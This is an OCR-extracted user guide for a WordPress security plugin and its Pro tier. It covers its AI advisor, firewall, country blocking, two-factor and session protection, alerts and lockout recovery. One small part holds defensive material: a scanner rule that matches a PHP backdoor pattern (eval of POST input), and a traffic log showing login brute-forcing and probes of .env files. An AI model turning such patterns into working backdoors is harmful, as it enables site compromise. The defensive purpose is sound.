: ‘ Google Gemini (Free) v ‘
Claude 1s the default and the one the advice is tuned on.

Free  The Flash models are free with a free Google Al Studio
key, no card needed. On the free tier Google may use
what is sent to improve its products.

API key
e o o . Alza... Get a free key
Meeded for every service, the free ones too. Kept on this site only and left out of settings exports. When you
switch service, paste that service's key. Leave empty to turn the advisor off.
Medel .
gemini-3.6-flash | Load models |

Leave empty for the recommended model, or press Load models to choose from the models your key can use.

Sent to the Al service you chose, only when you press "Ask the advisor”

The open findings (how serious, the title, the file path or account name it is about, and a short piece of matched code with passwords and keys taken out), the hardening
checks that fail, the WordPress and PHP versions, which plugins have updates waiting, and how many firewall and login events there were in the last 7 days.

Never sent

Whole files, wp-config.php, the database, email addresses or the site address.

With a free service chosen, the card says so, and Get a free key opens the page where you create one.

Service Cost Key

Claude (the default, and the one Paid, usually a few cents a Anthropic Console

the advice is tuned on) question

OpenAl Paid OpenAl platform

Google Gemini Free for the Flash models Free Google Al Studio key,

no card needed

Grok Paid xAl console
Perplexity Paid Perplexity API settings
OpenRouter Free models (marked Free OpenRouter key

":free") and paid ones



Service Cost Key

Groq Free, with daily limits Free Groq key, no card

needed

Every service needs a key, the free ones too. It is kept on this site only and left out of settings exports.

When you switch service, paste that service's key.
Model: leave it empty for the recommended model, or click Load models to choose from the models your

key can use. On OpenRouter the free models are listed first.

Sent: the open findings (how serious, the title, the file path or account name, and a short piece of matched
code with passwords and keys taken out), the hardening checks that fail, the WordPress and PHP versions,

which plugins have updates waiting, and how many firewall and login events there were in the last 7 days.

* Never sent: whole files, wp-config.php ,the database, email addresses or the site address.

Free tiers and privacy. On some free tiers the Al company may use what is sent to improve
its products. The card tells you when that applies. What is sent never includes passwords, keys

or your site's address.

Live traffic rro

Every page view with the address, its country, the page, the result, and whether it was a person, a bot, a
logged-in user or a blocked request. Kept for 7 days. Filter with People, Bots, Blocked and Logged in, and

shut an address out with Block IP on its row.



° Diamond Sierra Site Defense

Version 2.0.0

@& Dashboard Q Scan results ° €D Recovery & & Hardening D % Firewall (@ Tasks & hidden code B Quarantine

£F Settings W Pro A Live traffic

| Live traffic — ]
The latest page views, newest first. Kept for 7 days. J

All | People | Bots | Blocked | Logged in
‘When Who Page Result

30 minutes ago 198.51.100.23 ™ United States GET /sample-page/ 200 Block IP

30 minutes ago 203.8.113.41 o Netherlands GET / 200 Block 1P

30 minutes ago 192.0.2.140 (@ China POST /wp-login.php Locked out

30 minutes ago 192.@.2.148 (@ China POST /wp-login.php Locked out

30 minutes ago POST /up-login. php Locked out

30 minutes ago 192.6.2.140 (@l China ) POST /wp-login.php Locked out

30 minutes ago 192.0.2.140 (@ China POST /wp-login.php Locked out

30 minutes ago 192.6.2.142 (@ China ) POST /fwp-login.php Locked out

30 minutes ago 192.0.2.140 (@l China POST /wp-login.php 200 Block IP
30 minutes ago GET /.env 403

30 minutes ago 198.51.100.158 (& Br_azwl GET /xmlrpc.php 403

Login attempts refused by a lockout show as Locked out. The country comes from DB-IP's free data.

Al Live traffic  Pro

A record of every page view for the last 7 days, on the Live traffic tab. It adds one small database write to each page view, so it is off until you need it.

Record live traffic

Addresses, pages, browsers and results. Kept 7 days, at most 20,000 rows.

Leave out administrators

Your own clicks in the dashboard are usually just noise.

Live traffic is off until you turn it on in Settings, because it writes a small row for every page view.

Requests the early firewall stops never reach WordPress, so they are in the activity log instead.

8

8



Country blocking *=°

Turn away visitors from the countries you choose, either from the whole site or only from logging in (they
can still read the site and buy from it). Search for a country and tick it; your choices appear as chips at the top.

@ Country blocking Pro

Turn away visitors, or only logins, from the countries you choose. Real search engines are never blocked, and your own country can't be chosen.

Block

: . i . : Only logging in v

The whole site, or only the login page (they can still read the site and buy from it).
Countries
Search and tick the countries to block. Shops: blocking a country also blocks real customers there

Search countries 2 chosen

@@ China x | | = Russia x

[J @ afghanistan [ M@ albania O & algeria [J &F American Samoa

[ &B andorra [ &8 Angola [ & anguilla [0 B3 Antarctica

[ B antigua and Barbuda [ == Argentina [ =8 armenia [] =@ aruba

[J & australia O = Austria [ &8 azerbaijan [ E= Bahamas

O W sahrain [ @ Eangladesh [J D earbados [ ™ gelarus

O 11 Belgium [ 2 Belize [J &= Benin [0 & Bermuda

[ 4 Bhutan [ &= Eeolivia [ &) Bosnia and Herzegovina [J = Botswana

[] #= eouvet island ] Brazil [] &8 eritish Indian Ocean Territory [J @ eritish virgin Islands

[J =~ Brunei [J wm Bulgaria [ BB Burkina Faso [ &2 Burundi

[ B3 camboedia [0 ® cameroon [ 1+d canada [ == cape verde

Country data from 2026-11, 7 address ranges. IP geclocation by DB-IP (CC BY 4.0).

Real search engines are never blocked, and your own country can't be chosen.

® The country data comes from DB-IP's free database (CC BY 4.0) and is downloaded once a month. No visitor

address is sent anywhere.
® |t worksin the early firewall too.

® Shops: blocking a country blocks real customers there too. Only logging in is usually the better choice.

Vulnerability check s

The free plugin already flags plugins with a security update waiting. Pro matches WordPress, every plugin and
every theme against known security holes (CVEs) and tells you which version fixes each one. There is nothing

to set up and no API key.



© Vulnerability check  Pro
Matches WordPress, every plugin and every theme against known security holes {CVEs), and tells you which version fixes each one. Nothing to set up.

Check for known vulnerabilities Recommended ()

Once a day, and in every scan. Only the plugin and theme names and your WordPress version are looked up,
never your site address. Vulnerability data from WPVulnerability.net (CCO).

Checked once a day and in every scan.

® Only the plugin and theme names and your WordPress version are looked up, never your site address.
* Vulnerability data comes from WPVulnerability.net (CC0). Findings get the CVE's severity.

® Supply-chain watches: premium plugins and themes are fingerprinted and silent changes reported,
plugins hidden from the Plugins screen are flagged, and you're told when the people behind a plugin

change.

Sessions and confirmations rro

Malware on a computer can copy the browser's login cookie, and the thief is then "logged in" without a

password or two-factor code. Pro closes that gap.



© Sessions & sensitive actions  Pro

Protection after login: stolen login cookies, confirmation before risky actions, and required two-factor.

Stolen login cookies Recommended

Same browser ~
Malware on a computer can copy the browser's login cookie, so the thief is "logged in” without a password or
two-factor code. Each administrator and editor session is tied to the browser it started in and ends if the cookie
shows up elsewhere. Same browser allows network changes (phones, WPMNs); Same browser and network is
stricter.
Ask for two-factor (or password) again before Recommended Installing or uploading plugins and themes
Two-factor login always asks for the code when you log in. Tick the actions that should ask again - the first D Updating plugins, themes or WordPress
things an intruder with a stolen login cookie does. One confirmation lasts 15 minutes. Untick everything to ask Activating plugins or switching themes
at login only.

[] Deleting plugins or themes

Creating administrators or making someone an
administrator

Administrator login lasts at most

0 hours
Shaorter logins mean a stolen cookie stops working sooner. 0 keeps WordPress's normal length (2 days, or 14 |
with "Remember me").
Require two-factor login for [] Administrator
Users with these roles must turn on two-factor login (an authenticator app or email codes) before they can use [ editor
the dashboard. Locked out? Add define( 'DSSD DISABLE 2FA', true ); towp-config.php, orrun wp D Author
site-defense 2fa-reset <user> . 2
[ contributar
[J subscriber
Days to set it up ( |
3 F : 2 0 days
How long someone with a required role may keep using the dashboard before setting it up. They see a | )
reminder until then. 0 asks straight away.
Allowed ways to get codes )
Authenticator app or email v

For a policy that asks for one method. People who already set up the other one keep using it.

Message on the setup screen

Shown above the setup buttons, for example who to ask for help. Leave empty for none.

Secure your account with two-factor login. Questions? Ask the office. ‘

The Sessions and sensitive actions card.

¢ Stolen login cookies: each administrator and editor session is tied to the browser it started in and ends if
the cookie shows up elsewhere. Same browser allows network changes (phones, VPNs); Same browser and

network is stricter.

* Ask for two-factor (or password) again before the first things an intruder does: installing plugins and
themes, updating, activating or deleting them, and creating administrators. One confirmation lasts 15

minutes.

¢ Administrator login lasts at most: shorter logins mean a stolen cookie stops working sooner. 0 keeps
WordPress's normal length.

* Require two-factor login for chosen roles, with days to set it up, the allowed ways (app, email or both)

and your own message on the setup screen.



Password-guessing emails

Under Watches, Pro can also email the owner of an account when someone keeps guessing its password, with

the addresses the tries came from.

New administrators need approval -

A new administrator, created or promoted, keeps Subscriber rights until it is approved from an email that goes
to the address you choose. A stolen session or a vulnerable plugin can then no longer give itself an

administrator account.

i# New administrators need approval Pro
A new administrator, created or promoted, keeps Subscriber rights until it is approved from the email below. A stolen session or a vulnerable plugin can no longer give itself an
administrator account.

Ask for approval
WP-CLI, which already needs server access, is not affected.

Approval email goes to
’ owner@example.com
Best an address only the owner reads. Empty uses the alert ema

Use an address only the owner reads. WP-CLI, which already needs server access, is not affected.

Turning this off, changing the address or deactivating Pro emails the approver, so nobody can switch it off

quietly.

Security headers e

The free plugin sends safe default security headers (under Hardening). Pro lets you choose the values yourself.



B Security headers o

Choose the values of the security headers yourself, and add a Content Security Policy. Needs "Security headers” turned on under Hardening.

Use these values

Off keeps the safe defaults the free plugin sends.

X-Frame-Options

g . . ) o o o ‘ SAMECRIGIN v ‘
Stops other sites showing yours in a frame to trick visitors into clicking (clickjacking). DENY also stops your own
site from framing its pages.
Referrer-Policy < . i
. o . strict-origin-when-cross-origin v
How much of the page address other sites see when a visitor follows a link. The default keeps embeds such as

maps and videos working.

Strict-Transport-Security

Only sent over HTTPS. Add includeSubDomains only if every subdomain has a certificate, and preload only if you mean to apply to
the browser preload list.

max-age=31536008 ‘

Permissions-Policy
Which browser features pages may use. The default turns off camera, microphone, location and device sensors. Payment is left alone
so card and wallet buttons keep working.

camera=(), microphone=(), geolocation=(), usb=(), midi=(), magnetometer=(), gyroscope=() ‘

Default: camera=(), microphone=(), geolocation=(), usb=(), midi=(), magnetometer=()}, gyroscope=()

Content-Security-Policy

Start with "Report only™: nothing is blocked, and what the policy would block shows in the activity log under "Content policy”. Switch
to "Block™ once the log stays quiet. The default policy blocks clickjacking, a changed base address and old plugin embeds, and keeps
WordPress and checkouts working.

Off v

upgrade-insecure-requests; frame-ancestors 'self’; base-uri "self'; object-src ‘none’

Default: upgrade-insecure-requests; frame-ancestors 'self'; base-uri 'self'; object-src 'none’

Each box shows the default under it.

¢ X-Frame-Options, Referrer-Policy, Strict-Transport-Security and Permissions-Policy, each with a safe
default.

* Content Security Policy: start with Report only. Nothing is blocked, and what the policy would block

shows in the activity log under Content policy. Switch to Block once the log stays quiet for a few days.



Watches rro

@& Watches Pro

Things checked in the background, with an email when something needs you.

Homepage defacement and redirects ()
Every hour the homepage is opened like a visitor from Google. You get an email straight away if it says "hacked
by" or sends visitors to another site.

Tell people when their password is being guessed

Emails the owner of an account when someone fails to log in to it several times in an hour, with the addresses it
came from. At most one email an hour per account. Email after | 3 failed tries

Remove leftover backups and logs every day
Copies of wp-config.php, database dumps, site backups and error logs in the website folder are removed each
night. Each one is kept for 30 days on the Quarantine tab, where you can put it back.

Things checked in the background, with an email when something needs you.

* Homepage defacement and redirects: every hour the homepage is opened like a visitor from Google. You

get an email straight away if it says "hacked by" or sends visitors to another site.

¢ Tell people when their password is being guessed (off by default): emails the owner of an account after

several failed tries in an hour, at most once an hour.

¢ Remove leftover backups and logs every day (off by default): copies of wp-config.php , database
dumps, site backups and error logs in the website folder are removed every night and kept 30 days on the

Quarantine tab.



Alert centre and activitylog -~

@' Alert centre & activity log  Pro

More events, more recipients, digests, Slack/Discord and the weekly summary.

Activity log Recommended O

Records who logged in, installed or removed plugins and themes, created users or changed roles and
passwords, and changes to key settings. See it on the Firewall tab under Activity.

Also alert me about [J every administrator or editor login
Besides the free alerts (scan problems, new administrators, Site Defense switched off, new-1P admin logins). B Login lockouts
[J Firewall auto-blocks
Plugins and themes changed
Users and roles changed
Security settings changed

Extra recipients

Every alert also goes to these addresses — your developer, the client, a shared inbox. One per line.

Delivery : :
In the security email (weekly by default) v

"Instant” sends at most 10 emails an hour; anything beyond that waits for a digest so an attack doesn't flood

your inbox.

Slack / Discord webhook
Paste a2n incoming webhook URL (Slack, Discord, or any service that accepts a JSOM POST). Every alert is posted
there as one line. hitps only.

https://hooks.slack.com/services/.. ‘

Weekly summary email

Every Monday morning: security score, open issues, attacks blocked and login lockouts for the past week

The Alert centre and activity log card.

Activity log: who logged in, installed or removed plugins and themes, created users, changed roles and

passwords, and changed key settings. See it on the Firewall tab under Activity.

* Also alert me about: every administrator or editor login, login lockouts, firewall auto-blocks, plugin and

theme changes, user and role changes, security settings changes.
* Extra recipients: your developer, the client or a shared inbox, one per line.

* Delivery: In the security email (the default, weekly unless you changed it), Instant, or an hourly or daily
digest. Instant sends at most 10 emails an hour; anything beyond that waits for the next digest, so an

attack doesn't flood your inbox.
¢ Slack / Discord webhook: paste an incoming webhook URL. Any service that accepts a JSON POST works.

¢ Weekly summary email: every Monday morning, the security score, open issues, attacks blocked and

login lockouts for the past week.



WooCommerce rro

With Pro, the Show the CAPTCHA on list also covers WooCommerce, with whichever provider you chose: My
Account login, My Account registration, lost password, and the classic checkout. After a failed order attempt
the CAPTCHA resets itself so the customer can try again.

® Card-testing shield: addresses with repeated failed payments are shut out of the checkout.
¢ Order attempt limits and Store API rate limiting.

¢ Throwaway email addresses are refused, and a checkout watch reports card skimmers: new script
domains, fake card fields and known injections.

Tip for shops: use reCAPTCHA v3 or Turnstile on the checkout. Customers usually see nothing

at all.

Schedule, branding and export -

W Scan schedule & branding  Pro
How often the scan runs, and the name your clients see.

Scan how often
: : . ; Once a day w
Once a day suits most sites. Busy shops or sites that were hacked before can scan more often. Each scan still

runs in small steps

Product name

L
o
[w]
I
|.
]
i
w

For agencies: show your own name instead of "Diamond Sierra Site Defense” in the dashboard and in emails.
Leave empty to keep it

Menu label [ :
ok . . Site Defense |
The name in the left-hand admin menu. Leave empty to keep it | |

Hide Site Defense branding

Removes the Site Defense logo and the footer credit from these screens

<> Advanced: for developers v

The Scan schedule and branding card.

* Scan how often: once a day suits most sites. Busy shops or sites that were hacked before can scan more
often, up to every hour.

* Product name and Menu label: for agencies, show your own name instead of "Diamond Sierra Site

Defense" in the dashboard, the menu, emails and the cleanup report.

* Hide Site Defense branding removes the logo and footer credit from these screens.



Export and import

= Export & import settings Pro

Set up one site, then copy its settings to the others. API keys, the webhook and the report email are never exported - each site keeps its own.

Export
e : : Download settings
Downloads this site's settings as a JSON file. 9

Import -
Choose File |No file chosen Import |

Replaces the settings on this site with the ones in the file. Hardening rules are written straight away.

Set up one site, then copy its settings to the others.

API keys, the webhook and the report email are never exported; each site keeps its own.

WP-CLI

Proadds wp site-defense scan, status, findings, block , firewall-mode, vulns , export-

settings and import-settings . The free plugin has the recovery commands in Locked out?

Advanced: for developers -

You don't need this. The scanner and firewall already know the common attacks.

Leave it closed unless a developer gives you a specific pattern to catch.

At the bottom of the Scan schedule and branding card, Advanced: for developers opens two boxes. Both are

empty unless you add something.



<> Advanced: for developers ~

You don't need these. The scanner and firewall zlready know the common attacks. Use these only when a developer gives you a specific pattern to catch. Both are empty
unless you add something.

Extra malware patterns

Makes the scanner report files that contain a pattern you choose. One rule per ling, in four parts separated by | : how serious
(critical, high, medium or low) | which files (php, web or config) | a name | the pattern as a regular expression.

Example: high | php | 0ld backdoor | /eval\(\$_POST/

Rules that aren't valid are removed when you save.

high | php | 01d backdoor | /fewval\({\$_POST/

Extra firewall blocks

Blocks visits that contain a pattern you choose. One rule per ling, in three parts separated by | : a name | where to look ( query =
the web address, all = also forms and cookies) | the pattern as a regular expression.

Example: Debug probes | guery | /debug_mode=1/

Logged-in administrators are never blocked. Rules that aren't valid are removed when you save.

Debug probes | query | /debug_mode=1/

The examples in the boxes are only hints; the boxes are empty.

Extra malware patterns

Makes the scanner report files that contain a pattern you choose. One rule per line, in four parts separated by

Part What to write

How serious critical, high , medium or low

Which files php , web (JavaScriptand HTML) or config (.htaccess, .user.ini)

A name What you'll see in the scan results, for example 0ld backdoor

The pattern Aregular expression between slashes, for example /eval\(\$_P0ST/

high | php | 0ld backdoor | /eval\(\$_P0OST/

Extra firewall blocks

Blocks visits that contain a pattern you choose. One rule per line, in three parts: a name, where to look

( query =the web address only, all =also forms and cookies), and the pattern.



Debug probes | query | /debug_mode=1/

Logged-in administrators are never blocked by these rules. A rule thatisn't valid is removed when you save, so
atypo can't break the site.



HELP

Locked out?

Try the first fix in each row first. The others work through WP-CLI or by adding one line to wp-config.php

(above the line that says "That's all, stop editing"). Remove the line again once you're back in.

Problem

The firewall blocked

my address

The early firewall

blocks me

| forgot my custom
login URL

The login allowlist
or a lockdown keeps

me out

| lost my phone

(two-factor)

The CAPTCHA won't

accept me

Fix

Open your private unblock link. Or run wp site-defense unblock
<your-ip> ,oradd define( 'DSSD_DISABLE_FIREWALL', true );,

then add your address under Settings — Never block these IPs.

Open your private unblock link; it works in the early firewall too. If you
can't, remove the block marked Diamond Sierra Site Defense early firewall
from .user.ini, .htaccess or wp-config.php inthe WordPress
folder.

wp site-defense reset-login-url,or define(
'DSSD_DISABLE_LOGIN_URL', true ); . wp-login.php works again

straight away.

define( 'DSSD_DISABLE_LOGIN_ALLOWLIST', true ); ,login,then fix
the list or end the lockdown.

Type a backup code instead of the 6-digit code. Or ask another
administrator to click Turn off on your profile, run wp site-defense
2fa-reset <user> ,oruse define( 'DSSD_DISABLE_2FA', true ); .

A broken key never blocks the form, so this is rare. Clear your browser

cache or try another browser.

Questions

v Afindingis a false alarm. What do | do?

Click Ignore. It stays hidden until that file or content changes.

v | deleted a file and the site broke.



Open the Quarantine tab and click Restore next to the file. Deleted files are kept there for 30 days.

¥ The firewall says "Would block (log only)"

New installs spend their first week in log-only mode so you can spot false alarms, such as a contact form that
legitimately sends code-like text. Check the Firewall tab, then click Start blocking now, or wait and it starts on

its own.

v Dol have to edit wp-config.php or .htaccess for the early firewall?

No. Site Defense writes and removes its own marked block. You only touch afile if you are locked out and can't
use the unblock link.

¥ | use nginx. Is the uploads protection active?

nginxignores .htaccess files. The Hardening card shows How to fix with the lines for your server block, for

example:

location ~% /wp-content/uploads/.*\.php$ { deny all; }

¥ Which CAPTCHA should | pick?

Start with the math question if you want something working in a minute. Move to Cloudflare Turnstile when
you have five minutes: it's free, private and most visitors never click anything. Shops with Pro can use
reCAPTCHA v3 on the checkout.

¥ Which Al service should | use for the advisor?

Claude gives the best advice and is the default. If you'd rather not pay, Google Gemini's Flash models and Groq
are free with a free key, no card needed, and OpenRouter has free models too.

v Does it work on multisite?

Yes. Network-activate it. The firewall, login protection, two-factor login, CAPTCHA and the activity log protect
every site. The scanner and settings live in the main site's dashboard and are for super admins only. The
custom login URL is turned off on networks because it would break sign-on across sites.

¥ Does it send my visitors' data anywhere?



No personal data about visitors is sent for scanning. The services Site Defense talks to are listed in each
plugin's readme: WordPress.org for checksums and clean files, Have | Been Pwned (only the first 5 characters
of a password hash), your chosen CAPTCHA provider when a protected form is sent, Google Safe Browsing if
you turn it on, and the public crawler address lists from Google, Bing and Apple (downloaded once a day,
nothing sent) for the fake-search-engine check. Pro adds WPVulnerability.net (plugin and theme names only),
DB-IP for the monthly country data download, and the Al service you choose, only when you press Ask the

advisor.

Diamond Sierra Site Defense by Teo Leonard - Diamond Sierra. This guide covers Diamond Sierra Site Defense
2.0 and Diamond Sierra Site Defense Pro 2.0. Screenshots come from a test site with example names and

addresses.



